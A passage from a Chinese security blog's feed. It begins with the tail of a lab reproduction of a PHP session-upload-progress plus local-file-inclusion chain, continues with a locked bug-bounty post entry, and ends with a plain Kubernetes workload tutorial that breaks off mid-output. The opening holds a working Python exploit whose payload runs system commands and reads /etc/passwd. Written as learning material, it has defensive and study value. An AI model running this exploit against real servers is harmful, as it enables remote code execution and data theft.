默认「展示载荷」：一次证明 命令执行 + 身份 + 系统信息 + 敏感文件读取。</span></span><br><span class="line"><span class="comment"># shell_exec() 返回字符串，方便加标签排版；die() 掐掉会话文件后半段序列化垃圾。</span></span><br><span class="line">SHOWCASE_PAYLOAD = (</span><br><span class="line">    <span class="string">"&lt;?php "</span></span><br><span class="line">    <span class="string">"echo '=== ID ===' . PHP_EOL; echo shell_exec('id'); "</span></span><br><span class="line">    <span class="string">"echo '=== WHOAMI ===' . PHP_EOL; echo shell_exec('whoami'); "</span></span><br><span class="line">    <span class="string">"echo '=== UNAME ===' . PHP_EOL; echo shell_exec('uname -a'); "</span></span><br><span class="line">    <span class="string">"echo '=== PASSWD ===' . PHP_EOL; echo shell_exec('head -5 /etc/passwd'); "</span></span><br><span class="line">    <span class="string">"die(); ?&gt;"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    ap = argparse.ArgumentParser(description=<span class="string">"php2shell Chain A 演示"</span>)</span><br><span class="line">    ap.add_argument(<span class="string">'--target'</span>, default=<span class="string">'http://localhost:8082'</span>,</span><br><span class="line">                    <span class="built_in">help</span>=<span class="string">'目标服务地址，默认 http://localhost:8082'</span>)</span><br><span class="line">    ap.add_argument(<span class="string">'--cmd'</span>, default=<span class="literal">None</span>,</span><br><span class="line">                    <span class="built_in">help</span>=<span class="string">'自定义命令，例如 "id"；不传则跑默认展示载荷'</span>)</span><br><span class="line">    args = ap.parse_args()</span><br><span class="line">    base = args.target.rstrip(<span class="string">'/'</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 传了 --cmd 就用「单命令载荷」，否则用上面的展示载荷。</span></span><br><span class="line">    <span class="comment"># 单命令载荷从 URL 的 c 参数取命令，所以 --cmd 可以传 "id"、"whoami" 等任意命令。</span></span><br><span class="line">    <span class="keyword">if</span> args.cmd:</span><br><span class="line">        payload = <span class="string">"&lt;?php echo '===RCE==='; system($_GET['c']); die(); ?&gt;"</span></span><br><span class="line">        marker = <span class="string">'===RCE==='</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        payload = SHOWCASE_PAYLOAD</span><br><span class="line">        marker = <span class="string">'=== ID ==='</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 随机会话 ID（26 位，字符集匹配 PHP 默认会话 ID）</span></span><br><span class="line">    sid = <span class="string">''</span>.join(random.choices(string.ascii_lowercase + string.digits, k=<span class="number">26</span>))</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 构造 multipart 请求体：body 里的 PHPSESSID 用来固定会话 ID，</span></span><br><span class="line">    <span class="comment"># filename 里塞 payload——这就是被写进会话文件的那段 PHP 代码。</span></span><br><span class="line">    b = <span class="string">"----php2shellchain"</span></span><br><span class="line">    body = (</span><br><span class="line">        <span class="string">f"--<span class="subst">{b}</span>\r\n"</span></span><br><span class="line">        <span class="string">'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n'</span> + sid + <span class="string">'\r\n'</span></span><br><span class="line">        <span class="string">f"--<span class="subst">{b}</span>\r\n"</span></span><br><span class="line">        <span class="string">'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nchainA\r\n'</span></span><br><span class="line">        <span class="string">f"--<span class="subst">{b}</span>\r\n"</span></span><br><span class="line">        <span class="string">'Content-Disposition: form-data; name="f"; filename="'</span> + payload + <span class="string">'"\r\n'</span></span><br><span class="line">        <span class="string">'Content-Type: text/plain\r\n\r\nZ\r\n'</span></span><br><span class="line">        <span class="string">f"--<span class="subst">{b}</span>--\r\n"</span></span><br><span class="line">    ).encode()</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 1) 注入：body 与 Cookie 都带固定 SID，触发 upload_progress 把文件名写入会话文件</span></span><br><span class="line">    req = urllib.request.Request(</span><br><span class="line">        base + <span class="string">'/index.php'</span>, data=body,</span><br><span class="line">        headers={</span><br><span class="line">            <span class="string">'Content-Type'</span>: <span class="string">f'multipart/form-data; boundary=<span class="subst">{b}</span>'</span>,</span><br><span class="line">            <span class="string">'Cookie'</span>: <span class="string">f'PHPSESSID=<span class="subst">{sid}</span>'</span>,</span><br><span class="line">        },</span><br><span class="line">    )</span><br><span class="line">    <span class="keyword">with</span> urllib.request.urlopen(req, timeout=<span class="number">10</span>):</span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f"[1] 已注入，会话文件应为 /tmp/sessions/sess_<span class="subst">{sid}</span>"</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 2) 触发：用 LFI 包含会话文件（传了 --cmd 就顺带传 c 参数）</span></span><br><span class="line">    url = <span class="string">f"<span class="subst">{base}</span>/index.php?page=/tmp/sessions/sess_<span class="subst">{sid}</span>"</span></span><br><span class="line">    <span class="keyword">if</span> args.cmd:</span><br><span class="line">        url += <span class="string">f"&amp;c=<span class="subst">{urllib.parse.quote(args.cmd)}</span>"</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f"[2] LFI 包含并执行: <span class="subst">{url}</span>"</span>)</span><br><span class="line">    <span class="keyword">with</span> urllib.request.urlopen(url, timeout=<span class="number">10</span>) <span class="keyword">as</span> r:</span><br><span class="line">        raw = r.read().decode(errors=<span class="string">'replace'</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 3) 剥掉会话文件的序列化前缀，只显示干净的命令输出</span></span><br><span class="line">    <span class="built_in">print</span>(raw.split(marker, <span class="number">1</span>)[-<span class="number">1</span>])</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></tbody></table></figure><blockquote><p>为了让「一键复现」，本靶场做了两处简化（都不改变漏洞本质）：</p><ol><li><strong><code>session.upload_progress.cleanup = 0</code></strong>（<code>php.ini</code>）——让注入确定性留存，省去打竞态的并发脚本（见第 6 节）。</li><li><strong>故意提供一个 LFI 端点</strong>（<code>app/index.php</code> 里的 <code>?page=...</code> → <code>include</code>）——因为 Chain A 的前提就是应用要有 LFI。</li></ol><p>这两点都已在代码和 README 里标注，避免读者误以为「真实环境也这么简单」。</p></blockquote></body></html>]]>
    </content>
    <id>https://blog.btop251.top/CTF/php2shell/</id>
    <link href="https://blog.btop251.top/CTF/php2shell/"/>
    <published>2026-10-22T00:00:00.000Z</published>
    <summary>CVE-2026-109618、CVE-2026-109619复现</summary>
    <title>php2shell复现学习</title>
    <updated>2026-10-22T00:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="CTF" scheme="https://blog.btop251.top/categories/CTF/"/>
    <category term="SRC" scheme="https://blog.btop251.top/tags/SRC/"/>
    <content>这篇文章已被加密，请输入密码后查看。</content>
    <id>https://blog.btop251.top/CTF/first_src/</id>
    <link href="https://blog.btop251.top/CTF/first_src/"/>
    <published>2026-10-18T00:00:00.000Z</published>
    <summary>虽然钱不多，但也算从CTF向实战的转型了</summary>
    <title>纪念第一次获得赏金的src</title>
    <updated>2026-10-18T00:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="云安全" scheme="https://blog.btop251.top/categories/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <category term="云安全" scheme="https://blog.btop251.top/tags/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <content>
      <![CDATA[<html><head></head><body><h2 id="Deployment"><a href="#Deployment" class="headerlink" title="Deployment"></a>Deployment</h2><p>Deployment 是 Kubernetes 中最常用的控制器，它可以保证 Pod 副本数始终保持在期望的数量，并可以根据策略自动更新 Pod。</p><p>ReplicaSet 是 Deployment 的子控制器，它负责管理 Pod 副本数。</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">graph TD</span><br><span class="line">    D[Deployment] --&gt;|管理| RS[ReplicaSet]</span><br><span class="line">    RS --&gt;|创建/管理| P1[Pod 1]</span><br><span class="line">    RS --&gt;|创建/管理| P2[Pod 2]</span><br><span class="line">    RS --&gt;|创建/管理| P3[Pod N]</span><br><span class="line">    </span><br><span class="line">    P1 --&gt; C11[Container 1]</span><br><span class="line">    P1 --&gt; C12[Container 2]</span><br><span class="line">    P2 --&gt; C21[Container 1]</span><br><span class="line">    P2 --&gt; C22[Container 2]</span><br><span class="line">    P3 --&gt; C31[Container 1]</span><br><span class="line">    P3 --&gt; C32[Container 2]</span><br></pre></td></tr></tbody></table></figure><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">$ kubectl explain deploy <span class="comment">#简写</span></span><br><span class="line">GROUP:      apps</span><br><span class="line">KIND:       Deployment</span><br><span class="line">VERSION:    v1</span><br><span class="line"></span><br><span class="line">DESCRIPTION:</span><br><span class="line">    Deployment enables declarative updates <span class="keyword">for</span> Pods and ReplicaSets.</span><br><span class="line">    </span><br><span class="line">FIELDS:</span><br><span class="line">  apiVersion    &lt;string&gt;</span><br><span class="line">    APIVersion defines the versioned schema of this representation of an object.</span><br><span class="line">    Servers should convert recognized schemas to the latest internal value, and</span><br><span class="line">    may reject unrecognized values. More info:</span><br><span class="line">    https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources</span><br><span class="line"></span><br><span class="line">  kind  &lt;string&gt;</span><br><span class="line">    Kind is a string value representing the REST resource this object</span><br><span class="line">    represents. Servers may infer this from the endpoint the client submits</span><br><span class="line">    requests to. Cannot be updated. In CamelCase. More info:</span><br><span class="line">    https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds</span><br><span class="line"></span><br><span class="line">  metadata      &lt;ObjectMeta&gt;</span><br><span class="line">    Standard object<span class="string">'s metadata. More info:</span></span><br><span class="line"><span class="string">    https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">  spec  &lt;DeploymentSpec&gt; -required-</span></span><br><span class="line"><span class="string">    Specification of the desired behavior of the Deployment.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">  status        &lt;DeploymentStatus&gt;</span></span><br><span class="line"><span class="string">    Most recently observed status of the Deployment.</span></span><br></pre></td></tr></tbody></table></figure><p>配置文件格式：</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx-deployment</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">3</span>  <span class="comment"># 指定期望的 Pod 副本数</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">nginx</span>  <span class="comment"># 选择器，用于匹配和管理哪些 Pod 属于这个 Deployment</span></span><br><span class="line">  <span class="attr">strategy:</span></span><br><span class="line">    <span class="attr">type:</span> <span class="string">RollingUpdate</span>  <span class="comment"># 默认策略</span></span><br><span class="line">    <span class="attr">rollingUpdate:</span></span><br><span class="line">      <span class="attr">maxUnavailable:</span> <span class="number">1</span>  <span class="comment"># 在更新过程中，最多有多少个 Pod 不可用</span></span><br><span class="line">      <span class="attr">maxSurge:</span> <span class="number">1</span>        <span class="comment"># 在更新过程中，最多可以创建多少个超出期望副本数的 Pod</span></span><br><span class="line">  <span class="attr">template:</span>      <span class="comment"># Pod 模板，定义了每个 Pod 长什么样</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">nginx</span>  <span class="comment"># 给 Pod 打上标签，必须与上面的 selector.matchLabels 一致</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">nginx</span></span><br><span class="line">        <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br><span class="line">        <span class="attr">ports:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">80</span></span><br></pre></td></tr></tbody></table></figure><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl apply -f deploy.yaml</span><br></pre></td></tr></tbody></table></figure><h3 id="关于Pod命名"><a href="#关于Pod命名" class="headerlink" title="关于Pod命名"></a>关于Pod命名</h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl get po</span><br></pre></td></tr></tbody></table></figure><blockquote><p>NAME                                 READY   STATUS    RESTARTS   AGE<br>nginx-deployment-d8b657495-kgrlj       1/1     Running            0            43s<br>nginx-deployment-d8b657495-rbg6k     1/1     Running           0            43s<br>nginx-deployment-d8b657495-v7hm6   1/1     Running           0            43s</p></blockquote><p>可以看到<code>NAME</code>的组成十分奇怪，他是由三部分拼成的，每一段都有明确的来源</p><figure class="highlight text"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">nginx-deployment  -  d8b657495  -  kgrlj</span><br><span class="line">     │                  │            │</span><br><span class="line">     │                  │            └─ Pod 随机后缀（5 位）</span><br><span class="line">     │                  └────────────── ReplicaSet 的 hash 后缀（Pod 模板哈希）</span><br><span class="line">     └───────────────────────────────── Deployment 名字</span><br></pre></td></tr></tbody></table></figure><h3 id="关于字段更新"><a href="#关于字段更新" class="headerlink" title="关于字段更新"></a>关于字段更新</h3><p><strong>可改</strong>：</p><ul><li><code>spec.replicas</code>（扩缩容，不产生新 RS）</li><li><code>spec.template.*</code>（触发滚动更新，产生新 RS）</li><li><code>spec.strategy</code></li><li><code>metadata.labels</code> / <code>annotations</code></li></ul><p><strong>不可改</strong>：</p><ul><li><code>spec.selector</code> —— 报 <code>field is immutable</code>，只能删除重建</li></ul><p><strong>好习惯</strong>：<code>kubectl diff -f x.yaml</code> 先看变更再 apply。</p><h3 id="关于scale调整pod副本数"><a href="#关于scale调整pod副本数" class="headerlink" title="关于scale调整pod副本数"></a>关于<code>scale</code>调整pod副本数</h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 扩容/缩容到指定数量</span></span><br><span class="line">kubectl scale deployment/nginx-deployment --replicas=5</span><br><span class="line"></span><br><span class="line"><span class="comment"># 缩容到 0（暂停工作负载但保留 Deployment 和 RS）</span></span><br><span class="line">kubectl scale deployment/nginx-deployment --replicas=0</span><br></pre></td></tr></tbody></table></figure><h3 id="关于set-image更新容器镜像"><a href="#关于set-image更新容器镜像" class="headerlink" title="关于set image更新容器镜像"></a>关于<code>set image</code>更新容器镜像</h3><p><strong>作用</strong>：修改 Pod 模板中的容器镜像，<strong>触发滚动更新</strong>。</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 格式：资源类型/名称 容器名=新镜像</span></span><br><span class="line">kubectl <span class="built_in">set</span> image deployment/nginx-deployment nginx=nginx:1.25</span><br></pre></td></tr></tbody></table></figure><h3 id="关于rollout-undo版本回滚"><a href="#关于rollout-undo版本回滚" class="headerlink" title="关于rollout undo版本回滚"></a>关于<code>rollout undo</code>版本回滚</h3><p><strong>作用</strong>：把 Deployment 恢复到之前某个 revision（对应某个旧 ReplicaSet）。</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 先查看历史版本</span></span><br><span class="line">kubectl rollout <span class="built_in">history</span> deployment/nginx-deployment</span><br><span class="line"></span><br><span class="line"><span class="comment"># 回滚到上一版</span></span><br><span class="line">kubectl rollout undo deployment/nginx-deployment</span><br><span class="line"></span><br><span class="line"><span class="comment"># 回滚到指定 revision</span></span><br><span class="line">kubectl rollout undo deployment/nginx-deployment --to-revision=2</span><br></pre></td></tr></tbody></table></figure><h2 id="statefulset"><a href="#statefulset" class="headerlink" title="statefulset"></a>statefulset</h2><p>StatefulSet 是 Kubernetes 中用于管理<strong>有状态应用</strong>的工作负载资源。它和 Deployment 最根本的区别在于：Deployment 的 Pod 是可互换的、无身份的；而 StatefulSet 的每个 Pod 都有<strong>稳定且唯一的身份</strong>（序号、网络标识、存储），即使 Pod 被重建，这个身份也不会变。</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">StatefulSet</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">web</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">3</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line">  <span class="attr">podManagementPolicy:</span> <span class="string">Parallel</span></span><br><span class="line">  <span class="attr">updateStrategy:</span></span><br><span class="line">    <span class="attr">type:</span> <span class="string">RollingUpdate</span> <span class="comment"># 或 OnDelete</span></span><br><span class="line">    <span class="attr">rollingUpdate:</span></span><br><span class="line">      <span class="attr">partition:</span> <span class="number">1</span>  <span class="comment"># 用于金丝雀发布</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">nginx:1.18</span></span><br><span class="line">        <span class="attr">ports:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">80</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">web</span></span><br></pre></td></tr></tbody></table></figure><h3 id="关于sts的命名规则"><a href="#关于sts的命名规则" class="headerlink" title="关于sts的命名规则"></a>关于<code>sts</code>的命名规则</h3><figure class="highlight text"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;StatefulSet名称&gt;-&lt;序号&gt;</span><br></pre></td></tr></tbody></table></figure><p>序号从 <strong>0</strong> 开始，连续递增到 <code>N-1</code>（N = replicas）。</p><p>示例：名为 <code>web</code>、<code>replicas: 3</code> 的 StatefulSet：</p><figure class="highlight text"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">web-0</span><br><span class="line">web-1</span><br><span class="line">web-2</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn3/CloudNative_learn3.assets/image-20261017193611066.png" alt="image-20261017193611066" loading="eager" decoding="async"></p><h3 id="关于spec-pod-amagementPolicy-type"><a href="#关于spec-pod-amagementPolicy-type" class="headerlink" title="关于spec.pod.amagementPolicy.type"></a>关于<code>spec.pod.amagementPolicy.type</code></h3><p>这个属性控制的是sts的生成规则，默认是单个轮流生成</p><p><img src="/Cloud-Security/CloudNative_learn3/CloudNative_learn3.assets/image-20261017193346461.png" alt="image-20261017193346461" loading="lazy" decoding="async"></p><p>如果选择<code>Parallel</code>模式就是可以并发同时生成</p><p><img src="/Cloud-Security/CloudNative_learn3/CloudNative_learn3.assets/image-20261017193423605.png" alt="image-20261017193423605" loading="lazy" decoding="async"></p><h3 id="关于spec-updateStrategy-type"><a href="#关于spec-updateStrategy-type" class="headerlink" title="关于spec.updateStrategy.type"></a>关于<code>spec.updateStrategy.type</code></h3><table><thead><tr><th align="left">维度</th><th align="left"><code>RollingUpdate</code>（默认）</th><th align="left"><code>OnDelete</code></th></tr></thead><tbody><tr><td align="left"><strong>触发方式</strong></td><td align="left"><code>apply</code> 修改模板后，控制器<strong>自动</strong>逐个更新 Pod</td><td align="left"><code>apply</code> 后<strong>不自动更新</strong>，必须<strong>手动删除</strong>旧 Pod，控制器才会用新模板重建它</td></tr><tr><td align="left"><strong>更新顺序</strong></td><td align="left">按序号<strong>从大到小</strong>（<code>N-1 → 0</code>）逐个更新，前一个 Ready 才更新下一个</td><td align="left">无固定顺序，你删哪个就重建哪个</td></tr><tr><td align="left"><strong>是否受 <code>partition</code> 控制</strong></td><td align="left"><strong>是</strong>，只更新序号 ≥ partition 的 Pod</td><td align="left"><strong>否</strong>，<code>partition</code> 字段无效</td></tr><tr><td align="left"><strong>更新节奏</strong></td><td align="left">控制器自动推进，可用 <code>rollout status</code> 观察</td><td align="left">完全由人工控制，想何时更新就何时删 Pod</td></tr><tr><td align="left"><strong>适合场景</strong></td><td align="left">常规升级、金丝雀发布（配合 <code>partition</code>）</td><td align="left">需要<strong>人工逐台确认</strong>的敏感场景（如数据库主节点升级）、需要精确控制更新时机的场景</td></tr><tr><td align="left"><strong>回滚方式</strong></td><td align="left"><code>kubectl rollout undo</code> 或改模板再 apply</td><td align="left">同样靠改模板 + 手动删 Pod，无自动回滚</td></tr></tbody></table><p>StatefulSet 的 Pod 序号是 <code>0、1、2、…、N-1</code>。滚动更新默认从<strong>序号最大</strong>的 Pod 开始，倒序更新。</p><p>滚动更新：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl <span class="built_in">set</span> image statefulsets web nginx=nginx:1.19</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn3/CloudNative_learn3.assets/image-20261017201308599.png" alt="image-20261017201308599" loading="lazy" decoding="async"></p><p>注意到这里仅<code>web-2</code>与<code>web-1</code>被滚动更新了，这里涉及到另外一项配置</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">updateStrategy:</span></span><br><span class="line">    <span class="attr">rollingUpdate:</span></span><br><span class="line">      <span class="attr">partition:</span> <span class="number">1</span>  <span class="comment"># 用于金丝雀发布</span></span><br></pre></td></tr></tbody></table></figure><p><code>partition</code> 的含义是：</p><p><strong>只更新序号 ≥ partition 的 Pod，序号 &lt; partition 的保持旧版本不动。</strong></p><h2 id="DaemonSet"><a href="#DaemonSet" class="headerlink" title="DaemonSet"></a>DaemonSet</h2><p>DaemonSet 是 Kubernetes 中用来<strong>确保集群里每个（或指定的）节点上都运行一个 Pod 副本</strong>的工作负载资源。它和 Deployment、StatefulSet 的核心区别在于：<strong>Pod 数量不由你指定，而是由节点数量决定</strong>。</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">DaemonSet</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ssd-monitor</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">ssd-monitor</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">ssd-monitor</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">monitor</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">nginx</span></span><br><span class="line">        <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br></pre></td></tr></tbody></table></figure><p>这种类型的pod通常与监控与网络调度相关，比如minikube的网络系统pod</p><p><img src="/Cloud-Security/CloudNative_learn3/CloudNative_learn3.assets/image-20261017202956678.png" alt="image-20261017202956678" loading="lazy" decoding="async"></p><p>这种类型的资源调度与节点数量有关，会随着节点数的改变而改变</p><p><img src="/Cloud-Security/CloudNative_learn3/CloudNative_learn3.assets/image-20261017203318558.png" alt="image-20261017203318558" loading="lazy" decoding="async"></p><p>可以看到每一个节点中都有一个，后续删除或创建节点时也会跟着增加或减少</p><p><img src="/Cloud-Security/CloudNative_learn3/CloudNative_learn3.assets/image-20261017203627930.png" alt="image-20261017203627930" loading="lazy" decoding="async"></p><p><img src="/Cloud-Security/CloudNative_learn3/CloudNative_learn3.assets/image-20261017203634647.png" alt="image-20261017203634647" loading="lazy" decoding="async"></p><h3 id="关于pod-spec-containers-imagePullPolicy"><a href="#关于pod-spec-containers-imagePullPolicy" class="headerlink" title="关于pod.spec.containers.imagePullPolicy"></a>关于<code>pod.spec.containers.imagePullPolicy</code></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">$ kubectl explain pod.spec.containers.imagePullPolicy</span><br><span class="line">KIND:       Pod</span><br><span class="line">VERSION:    v1</span><br><span class="line"></span><br><span class="line">FIELD: imagePullPolicy &lt;string&gt;</span><br><span class="line">ENUM:</span><br><span class="line">    Always</span><br><span class="line">    IfNotPresent</span><br><span class="line">    Never</span><br><span class="line"></span><br><span class="line">DESCRIPTION:</span><br><span class="line">    Image pull policy. One of Always, Never, IfNotPresent. Defaults to Always <span class="keyword">if</span></span><br><span class="line">    :latest tag is specified, or IfNotPresent otherwise. Cannot be updated. More</span><br><span class="line">    info: https://kubernetes.io/docs/concepts/containers/images#updating-images</span><br><span class="line">    </span><br><span class="line">    Possible enum values:</span><br><span class="line">     